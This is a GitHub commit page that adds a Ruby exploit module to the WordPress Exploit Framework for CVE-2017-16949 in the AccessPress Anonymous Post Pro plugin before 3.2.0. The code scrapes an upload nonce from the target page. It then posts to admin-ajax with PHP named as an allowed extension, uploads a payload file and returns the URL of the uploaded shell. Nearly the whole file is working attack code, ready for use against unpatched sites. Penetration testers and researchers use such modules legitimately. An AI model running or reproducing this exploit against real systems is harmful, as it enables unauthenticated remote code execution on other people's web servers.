Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 1fd35a9

Browse files
committed
Add AccessPress Anonymous Post Pro < 3.2.0 shell upload
1 parent 211d803 commit 1fd35a9

File tree

1 file changed

+71
-0
lines changed

1 file changed

+71
-0
lines changed
Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::AccessPressAnonymousPostProShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::ShellUpload
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'AccessPress Anonymous Post Pro < 3.2.0 Unauthenticated Shell Upload',
11+
author: [
12+
'Colette Chamberland', # Disclosure
13+
'rastating' # WPXF module
14+
],
15+
references: [
16+
['WPVDB', '8977'],
17+
['CVE', '2017-16949']
18+
],
19+
date: 'Dec 19 2017'
20+
)
21+
end
22+
23+
def check
24+
:unknown
25+
end
26+
27+
def before_upload
28+
emit_info 'Acquiring upload nonce...'
29+
res = execute_get_request(url: full_uri)
30+
return false unless res&.code == 200
31+
32+
pattern = /var\sap_fileuploader\s=\s{.+?,"nonce":"([a-zA-Z0-9]+?)"};/i
33+
self.upload_nonce = res.body[pattern, 1]
34+
35+
if upload_nonce.nil?
36+
emit_error 'Failed to acquire upload nonce'
37+
return false
38+
else
39+
emit_success "Acquired upload nonce: #{upload_nonce}", true
40+
return true
41+
end
42+
end
43+
44+
def uploader_url
45+
wordpress_url_admin_ajax
46+
end
47+
48+
def upload_request_params
49+
{
50+
'action' => 'ap_file_upload_action',
51+
'file_uploader_nonce' => upload_nonce,
52+
'allowedExtensions[]' => 'php',
53+
'sizeLimit' => '6400'
54+
}
55+
end
56+
57+
def payload_body_builder
58+
builder = Utility::BodyBuilder.new
59+
builder.add_file_from_string('qqfile', payload.encoded, payload_name)
60+
builder
61+
end
62+
63+
def uploaded_payload_location
64+
return nil if upload_result&.body.nil?
65+
66+
res = JSON.parse(upload_result.body)
67+
res['url']
68+
end
69+
70+
attr_accessor :upload_nonce
71+
end

0 commit comments

Comments
 (0)